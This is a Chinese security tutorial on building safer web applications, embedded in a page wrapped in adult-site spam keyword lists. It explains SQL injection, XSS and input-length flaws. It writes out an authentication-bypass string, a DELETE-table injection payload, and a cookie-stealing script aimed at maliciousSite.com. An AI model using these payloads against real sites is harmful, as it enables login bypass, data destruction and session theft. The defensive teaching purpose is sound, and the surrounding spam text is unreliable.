国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区

掃一掃
關注微信公眾號

權衡安全和功能 編寫安全的Web2.0應用
2007-04-12   CCW

開發人員必須權衡好安全和功能之間的關系,這要看某種攻擊得逞的可能性有多大、這個系統有多重要。開發人員必須權衡好安全和功能之間的關系,這要看某種攻擊得逞的可能性有多大、這個系統有多重要。盡量減小權限;對訪問資源的賬戶進行配置時,始終要把這些賬戶的權限限制在需要的最小權限。千萬不要相信用戶的輸入,驗證任何輸入的內容; 這對Web應用程序來說尤為重要。確保應用程序并不依賴客戶端的驗證。在服務器上應當重復所有的檢查工作,因為要是沒有約束條件,比較容易構建網頁副本,有可能導致破壞性代碼在運行,或者導致引起系統崩潰的拒絕服務(DoS)攻擊。
  開發人員必須權衡好安全和功能之間的關系,這要看某種攻擊得逞的可能性有多大、這個系統有多重要。

  開發人員可以運用諸多基本原則來增強Web應用程序的安全性。主要有以下三條原則:

  盡量減小權限

  對訪問資源的賬戶進行配置時,始終要把這些賬戶的權限限制在需要的最小權限。

  千萬不要相信用戶的輸入,驗證任何輸入的內容

  這對Web應用程序來說尤為重要。確保應用程序并不依賴客戶端的驗證。在服務器上應當重復所有的檢查工作,因為要是沒有約束條件,比較容易構建網頁副本,有可能導致破壞性代碼在運行,或者導致引起系統崩潰的拒絕服務(DoS)攻擊。

  有節制地使用錯誤消息

  雖然在開發程序時,詳細的錯誤消息很有幫助,但它們對惡意用戶來說同樣是寶貴的信息來源。所以指定函數名這類細節沒有太大的意義。這樣的細節記錄在另一個日志中比較好。

  下面幾個示例介紹了沒有經過驗證的用戶輸入如何被壞人利用的具體情況,并且介紹了避免這些問題的建議。

  SQL注入

  如果允許任意的SQL命令執行,就會出現SQL注入(SQL injection)。當SQL語句在代碼里面動態構建時,通常會出現這種情況。

  以下面用C#編寫的代碼為例,該代碼試圖檢查用戶名/密碼組合是否正確:

  string username = txtUsername.Text;

  string password = txtPassword.Text;

  string SQL = "SELECT * FROM tblUsers

  WHERE username = '"+ username +"'

  AND password = '"+ password + "';";

  //執行SQL

  用戶名和密碼從服務器端的兩個文本框獲取,并且SQL語句被創建,然后該語句執行。如果沒有記錄返回,那么表明用戶輸入的詳細資料不正確,或者沒有經過注冊; 否則用戶可以進入到下一個階段。

  如果用戶在兩個文本框里面輸入了Joe和mypassword,那么SQL語句會是:

  SELECT * FROM tblUsers

  WHERE username = 'Joe'

  AND password = 'mypassword';

  這正是開發人員的意圖。不過要是用戶往密碼文本框里面輸入: ' OR 'a' = 'a,SQL就會是:

  SELECT * FROM tblUsers

  WHERE username = 'Joe'

  AND password = ''

  OR 'a' = 'a';

  現在,密碼不重要了,因為'a'='a'總是正確的。如果用來連接到數據庫的賬戶有權刪除數據而不是僅僅有權讀取數據,就會出現更糟糕的情形。假設用戶往密碼文本框里面輸入: '; DELETE FROM tblUsers WHERE 'a' = 'a'。這會得出以下的語句:

  SELECT * FROM tblUsers

  WHERE username = 'Joe'

  AND password = '';

  DELETE FROM tblUsers

  WHERE 'a' = 'a';

  現在,整個用戶表就會被清空。

  防止這類問題主要有兩種辦法。一是,可以使用存儲過程(stored procedure)來執行用戶驗證步驟。設置參數值時,避免使用單引號等特殊符號,因而不可能為WHERE語句添加額外的斷言(predicate),也不會運行多個SQL語句。譬如說,可以構建像下面這樣的存儲過程,接受兩個輸入參數后,返回表明用戶是不是合法用戶的第三個參數:

  CREATE PROCEDURE spCheckUser

  (

  @Username VARCHAR(20),

  @Password VARCHAR(20),

  @IsValid BIT OUTPUT

  )

  AS

  DECLARE @UserCount INT

  SELECT @UserCount = COUNT(*)

  FROM tblUsers

  WHERE Username = @Username

  AND Password = @Password

  IF @UserCount = 1

  SET @IsValid = 1

  ELSE

  SET @IsValid = 0
現在,初始代碼經改動后可以使用存儲過程:

  SqlCommand sqlCommand =

  new SqlCommand("spCheckUser");

  SqlParameter sqlParam =

  new SqlParameter("@Username",

  SqlDbType.VarChar, 20)

  sqlParam.Value = txtUsername.Text;

  sqlParam.Direction =

  ParameterDirection.Input;

  sqlCommand.Parameters.Add(sqlParam);

  sqlParam =

  new SqlParameter("@Password",

  SqlDbType.VarChar, 20)

  sqlParam.Value = txtPassword.Text;

  sqlParam.Direction =

  ParameterDirection.Input;

  sqlCommand.Parameters.Add(sqlParam);

  sqlParam =

  new SqlParameter("@IsValid",

  SqlDbType.Bit, 1)

  sqlParam.Direction =

  ParameterDirection.Output;

  sqlCommand.Parameters.Add(sqlParam);

  //執行命令,并檢索輸出參數值

  輸入和輸出參數使用相關類型來說明。如今區別在于,基本的ADO.NET類會把字符串' OR 'a' = 'a當成實際用戶的密碼來處理,而不是當成可執行SQL來處理。

  避免這種安全漏洞的第二種辦法(也適用于所有的用戶輸入)就是,確保特殊字符或者字符串被禁用。對SQL而言,導致問題的那個字符就是單引號,所以如果沒法使用存儲過程,那么就把所有單引號變成雙引號,這可以防止有人構建額外的SQL:

  string username = txtUsername.Text;

  string password = txtPassword.Text;

  username = username.Replace("'","''");

  password = password.Replace("'","''");

  string SQL = "SELECT *

  FROM tblUsers

  WHERE username = '"+ username +"'

  AND password = '"+ password +"';";

  //執行SQL

  現在,構建的SQL成為:

  SELECT *

  FROM tblUsers

  WHERE username = 'Joe'

  AND password = '''

  OR ''a'' = ''a';

  這意味著該用戶沒有被識別。
跨站腳本

  跨站腳本(有時縮寫成XSS)允許來自一個地方的代碼在另一個網站里面運行。正如在大多數情況下一樣,只要驗證用戶輸入的內容就可以避免這問題。以接受HTML格式的帖子的公告牌為例。假定用戶在發布消息中加入了以下內容:

  Hello everyone

  <script>

  alert("Hi!");

 ?。?script>

  要是不對腳本塊進行任何驗證及刪除,這條消息就會出現,標準的警告信息也會顯示。假定這個示例沒有惡意,再考慮下一個示例:

  var I = new Image();

  i.src =

  "http://www.maliciousSite.com/save.asp"

  + escape(document.cookie);

  現在,該用戶的cookie會被傳送到惡意網站,然后記錄在網絡日志里面。這不是原先需要的操作,可能會泄露私人信息,或者讓不懷好意的人以合法用戶的身份登錄到公告牌。可以通過采用正則表達式來搜索及清除像< script>及其內容這些元素的辦法來防止這個問題。
   
  數據溢出

  數據過多可能會帶來問題,這有兩個原因。一是,因為應用程序往往會崩潰,譬如說,如果程序試圖把50個字符寫入到列大小只有40個字符的數據庫表,就會引起程序崩潰。顯然,良好的錯誤捕獲方法應當可以防止這一問題,但如果用戶輸入的是有效內容,而且來自可信用戶,那么這個問題往往不會發生。數據過多輕則帶來差勁的用戶體驗,重則導致嚴重消耗服務器資源,要是問題頻頻發生,還會導致整個服務無法使用。如果輸入內容專門旨在導致錯誤、機器過載,這就叫拒絕服務(DoS)攻擊。
  
  第二個問題是緩沖器溢出。有時候,輸入的數據會溢出旨在存放它的內存區,而成為可執行代碼的一部分。只要對輸入到輸入框中的數據進行精心設計,攻擊者就可以在服務器上執行任意代碼。

  為了避免該問題,不要依靠客戶端技術,譬如設置文本框的最大長度屬性。這很容易被跳過。有些瀏覽器(包括IE在內)允許javascript URL。如果網頁的文本框有一個標為txtSurname的id,那么下列代碼拷貝到瀏覽器的地址欄上后,就會改變最大長度屬性:

  javascript:document.getElementById

  ("txtSurname").maxLength = 1000

  防止這個問題的方法仍然是在服務器上進行檢查,看看輸入內容是否超過所需長度; 必要的話縮減輸入內容。(作者單位系河南省鎮平縣教師進修學校)

熱詞搜索:

上一篇:系統安全:利用了系統的什么惡意網頁如此橫行霸道
下一篇:熟知威脅電子郵件安全的25個常見錯誤

分享到: 收藏
国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区
久久精品免视看| 一区二区三区**美女毛片| 国产精品久久二区二区| 国产风韵犹存在线视精品| 久久久久免费观看| 99久久精品久久久久久清纯| 亚洲欧美另类综合偷拍| 91麻豆精品国产91久久久更新时间 | 成人免费视频免费观看| 一区二区三区不卡在线观看| 精品久久久久久久久久久久包黑料 | 国产日韩av一区| 91免费看片在线观看| 美腿丝袜亚洲一区| 亚洲视频免费看| 日韩免费视频线观看| 91浏览器打开| 国产精品一色哟哟哟| 亚洲午夜激情av| 国产精品视频你懂的| 日韩写真欧美这视频| 日本久久电影网| 国产麻豆精品95视频| 亚洲国产日韩一级| 国产精品网友自拍| 日韩午夜激情电影| 欧洲日韩一区二区三区| 成人动漫在线一区| 麻豆国产精品一区二区三区 | 捆绑变态av一区二区三区| 一区二区久久久| 亚洲国产激情av| 欧美成人bangbros| 在线不卡中文字幕播放| 91福利资源站| 高清久久久久久| 精品写真视频在线观看| 午夜婷婷国产麻豆精品| 亚洲女同ⅹxx女同tv| 国产日本一区二区| 久久尤物电影视频在线观看| 51精品久久久久久久蜜臀| 在线观看视频91| 91小视频在线| 91麻豆国产精品久久| 国产成人aaa| 国产一区二区日韩精品| 精品一区二区在线看| 日韩专区欧美专区| 午夜欧美在线一二页| 亚洲国产成人91porn| 亚洲精品成人精品456| 国产欧美1区2区3区| 久久久精品免费观看| 久久久欧美精品sm网站| 精品欧美久久久| 精品欧美一区二区在线观看| 日韩一区二区精品| 欧美成人性福生活免费看| 日韩一区二区三区四区| 欧美va亚洲va国产综合| 亚洲精品在线观看视频| 欧美精品一区二区精品网| 久久影院午夜论| 国产欧美日韩不卡| 国产精品久久久爽爽爽麻豆色哟哟| 26uuu另类欧美| 国产午夜亚洲精品理论片色戒 | 国产精品一区二区久久不卡 | 国产精品三级视频| 国产精品热久久久久夜色精品三区| 亚洲国产精品激情在线观看| 国产欧美日韩不卡| 亚洲制服欧美中文字幕中文字幕| 亚洲国产成人va在线观看天堂| 日韩高清一区二区| 国产乱淫av一区二区三区| 国产成人av影院| 色欧美片视频在线观看| 欧美高清www午色夜在线视频| 欧美变态tickle挠乳网站| 国产精品素人一区二区| 亚洲精品乱码久久久久久| 亚洲成人精品影院| 国产一区二区毛片| aaa亚洲精品一二三区| 欧美精品三级日韩久久| 欧美经典一区二区| 亚洲高清中文字幕| 国产高清在线观看免费不卡| 91久久一区二区| 久久影视一区二区| 国产精品美女一区二区三区| 亚洲一区免费在线观看| 久久超级碰视频| 欧美三区免费完整视频在线观看| 精品国产不卡一区二区三区| 亚洲精品成人a在线观看| 国产中文字幕精品| 欧美日韩视频专区在线播放| 国产精品私人影院| 韩国中文字幕2020精品| 99精品国产99久久久久久白柏| 日韩你懂的电影在线观看| 亚洲男人的天堂av| 成人黄色av电影| 精品久久人人做人人爰| 亚洲永久精品国产| 成人黄色免费短视频| 精品美女被调教视频大全网站| 午夜影院在线观看欧美| eeuss影院一区二区三区| 久久婷婷成人综合色| 天堂蜜桃一区二区三区| 在线观看国产日韩| 最近日韩中文字幕| 成人国产精品免费网站| 久久这里只有精品视频网| 视频一区二区三区入口| 欧美亚洲一区三区| 一区二区三区在线视频观看| 成人av午夜电影| 国产日产精品1区| 东方aⅴ免费观看久久av| 精品国产电影一区二区| 国产美女精品在线| 国产亚洲精品中文字幕| 国内精品伊人久久久久av影院 | av资源网一区| 久久精品亚洲乱码伦伦中文| 国产一区二区三区不卡在线观看| 久久―日本道色综合久久| 国产乱码精品一区二区三 | 一本一道综合狠狠老| 亚洲免费观看高清完整版在线 | 一级女性全黄久久生活片免费| 色噜噜久久综合| 亚洲成在人线免费| 欧美一区二区在线免费观看| 黄色成人免费在线| 国产精品九色蝌蚪自拍| 色成人在线视频| 丝袜诱惑制服诱惑色一区在线观看 | 亚洲精品中文字幕乱码三区| 欧美偷拍一区二区| 日本欧美一区二区| 51精品秘密在线观看| 一区二区三区欧美久久| 欧美日韩国产美女| 久久99精品久久久久久动态图| 久久久久久久久久久久久夜| 97aⅴ精品视频一二三区| 亚洲已满18点击进入久久| 欧美一区二区女人| 成人aa视频在线观看| 亚洲国产aⅴ成人精品无吗| www欧美成人18+| 国产99久久久国产精品免费看| 亚洲欧美日韩成人高清在线一区| 欧美乱妇20p| 粉嫩av一区二区三区粉嫩| 亚洲电影激情视频网站| 久久丝袜美腿综合| 欧美日韩视频在线一区二区| 国产高清在线精品| 亚洲国产成人高清精品| 欧美国产成人在线| 欧美男女性生活在线直播观看| 国产精品亚洲一区二区三区在线| 亚洲精品成a人| 久久久久久亚洲综合| 欧美艳星brazzers| 不卡的av网站| 久久91精品国产91久久小草| 亚洲男人天堂一区| 国产视频视频一区| 制服丝袜亚洲精品中文字幕| 99精品欧美一区二区蜜桃免费| 国产在线日韩欧美| 日韩电影在线观看电影| 亚洲视频一二区| 欧美国产激情一区二区三区蜜月| 国产日韩欧美高清| 在线播放视频一区| 色综合一区二区| 国产·精品毛片| 九九国产精品视频| 日本成人在线视频网站| 亚洲第一二三四区| 一区二区三区精品久久久| 国产欧美日韩另类视频免费观看| 欧美电视剧免费观看| 在线91免费看| 在线观看一区二区视频| 97精品久久久午夜一区二区三区| 国产精品一区二区你懂的| 国产一区二区三区久久久 | 久久综合狠狠综合久久综合88| 日韩三级在线观看| 欧美精品一二三四|